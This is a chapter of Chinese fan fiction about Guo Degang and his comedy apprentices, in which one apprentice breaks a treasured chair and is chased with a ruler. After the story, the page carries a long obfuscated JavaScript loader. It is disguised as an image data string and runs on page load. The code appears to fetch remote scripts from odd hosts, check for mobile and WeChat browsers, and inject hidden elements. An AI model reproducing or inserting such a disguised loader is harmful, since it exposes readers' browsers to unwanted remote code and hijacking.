第三十一章 碰瓷(1 / 2)

张云雷等郭德纲吃了饭后,想着郭德纲一个人肯定会无聊,所以就乖乖的呆在他边上想和他聊聊天,结果没想到郭德纲就抽了他好几个小时的贯口和太平歌词,给张云雷都弄得怀疑人生了,第二天早上张云雷起床后,一看到刚拖着行李回来的王惠,就赶紧跑了过去哭诉着:“姐姐,你可回来了!”</p>

“你这是咋了?”王惠看着一脸委屈的张云雷,赶紧蹲下身,“谁欺负你了?”</p>

“姐夫欺负我,”张云雷伸手指着屋里委屈巴巴的看着王惠,“我想着他一个人无聊陪他聊聊天,结果他抽了我好几小时的贯口和太平歌词!”</p>

“我还想抽你京韵大鼓呢,”王惠听后直接起身拉着行李箱就进了屋,完全不打算在理张云雷,“基本功总要练得。”</p>

“老郭,”王惠打开自己的房门看着坐在窗口背词的郭德纲,把行李放到了一边,走过去从身后抱住了他,靠着他的肩膀看着他手里的本子,“背词那?”</p>

“对啊,”郭德纲摸了摸王惠的手,把台词本收拾好放到了一边,“在背词,演出累了吧。”</p>

“还行,”王惠笑着看着郭德纲,“不累,你昨天都在干嘛?”</p>

“教小辫儿太平歌词,”郭德纲说着突然转头亲了一下王惠,很温柔的看着她,“还有想你。”</p>

王惠听后就笑了起来,刚想亲郭德纲的时候,郭德纲却突然注意到了偷偷摸摸进屋的张云雷,奇怪的看着他:“小辫儿?”</p>

“哎,”张云雷刚伸手准备拿自己昨晚掉在郭德纲房里的东西,被郭德纲一叫就本能的缩回了手,“师父。”</p>

“咳。”王惠听到张云雷的声音后赶紧缩回手,有点尴尬的走到一边。</p>

“你要干什么?”郭德纲盯着张云雷,生怕他又搞出点啥幺蛾子。</p>

“我拿东西,”张云雷迅速的伸手拿上自己的东西,赶紧就跑了,“我走啦!”</p>

“这孩子,”王惠见张云雷走了,就撩了一把自己的头发,“啥时候进来也不敲门了。”</p>

“他可能就是不想打扰我们。”郭德纲默默的拿起自己放一边的台词本继续看着,其实张云雷早就进门不敲了,只是王惠在的时候他不敢不敲,怕挨揍。</p>

张云雷出了房间以后,就乖乖的跑去找岳云鹏他们一起练功去了,毕竟王惠回来了,还是安稳着点好,不然光花盆的事就能打死他,张云雷练了一会儿后,突然发现烧饼不见了,就赶紧找起了他:“烧饼呢?”</p>

“不知道啊,早上都没见他呀,”孔云龙听张云雷这么一说才想起来,他都已经有好一会儿没看见烧饼了,“这小子去哪了?”</p>

“不会又作死去了吧,”岳云鹏看了一眼屋子,今天要是作死可不是好选择啊,师娘在呢,“估计他得完。”</p>

“咱们去找找他吧。”张云雷想起王惠那暴脾气,不经有些担心起了烧饼,万一弄出点啥幺蛾子,可就真的要被打死了,孔云龙和岳云鹏听张云雷这么说了,也就马上一起去找起了烧饼。</p>

张云雷他们忙着找烧饼的时候,烧饼就呆在楼上研究着一把木头椅子,看上去应该有些年头了,是烧饼早上想站楼上看看风景的时候发现的,烧饼好奇的伸手摸了摸椅子:“这牢吗?”</p>

烧饼用力的拍了拍椅子的中间,见没事就直接一屁股坐了上去,两手搭在把手上开心的晃着腿:“嘿嘿,不错。”</p>

烧饼坐了一会儿后,突然感觉椅子的把手好像有点松了,就用力摇了两下,结果没想到把手直接就断了:“我的妈呀!”</p>

烧饼吓得赶紧跳下椅子,把把手放到了椅子上就想跑,却刚好和上楼的郭德纲打了个照面,郭德纲严肃的盯着烧饼:“不去练功在这干嘛?”</p>

“我看看上面有啥,”烧饼往边上挪了挪,擦着郭德纲边上跑了下去,“现在就去练!”</p>

郭德纲看到烧饼跑的这么快有些奇怪,这一直天不怕地不怕的小子怎么今天这么慌?等到郭德纲上了楼后,他就终于知道了烧饼为什么要跑了,他看着椅子上断了的把手,果断下楼抄起戒尺就冲了出去:“朱云峰!”</p>

“哎呀妈呀!”烧饼听到郭德纲喊自己艺名了就知道他是真生气了,赶紧拔腿就跑,“师父,我错了,真不是故意的!”</p>

“你给我站住,”郭德纲拿着戒尺追在烧饼后面,那椅子是他第一次到北京的时候一个朋友送的,一直珍藏到现在,结果被他弄坏了,“别跑!”</p>

“不是咋的了?”张云雷他们正在院子后面找烧饼,听到前门传来的吵闹声,就赶紧跑了过来看看发生了什么,当他们看到跑的飞快的烧饼后瞬间就知道他又闯祸了,“完了,还是晚了一步。”</p>

“栾哥救命啊!”就在烧饼实在没地躲了的时候,突然看到了一个人呆在一边练功的栾云平,就赶紧跑了过去,平时烧饼他们都没和他一起玩过,他也从来不和他们打闹,只是一个人呆在一边安安静静的练功,所以也不是特别熟,但是今天实在没地方躲了,管他熟不熟呢,“师哥啊!”</p>

“咋了?”栾云平被烧饼突然扑过来吓了一跳,赶紧拉着他,“发生啥了?”</p>

“哎呀妈呀!”烧饼回头看了一眼凶神恶煞的冲过来的郭德纲,赶紧躲到了栾云平身后,“师父,要打死我!”</p>

“栾云平你闪开,”郭德纲见烧饼躲到栾云平身后了,就直接让栾云平躲开,“你不要给我护着他!”</p>

“不是,”栾云平看了一眼瑟瑟发抖的烧饼,直接伸手拦着郭德纲,“师父,有事好说,师弟还小打他干嘛?”</p>

“我楼上那把椅子被他弄坏了,”郭德纲死死的盯着烧饼,手里紧紧的握着那把戒尺,“你闪开,别挡着,我非得好好收拾收拾他。”</p>

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();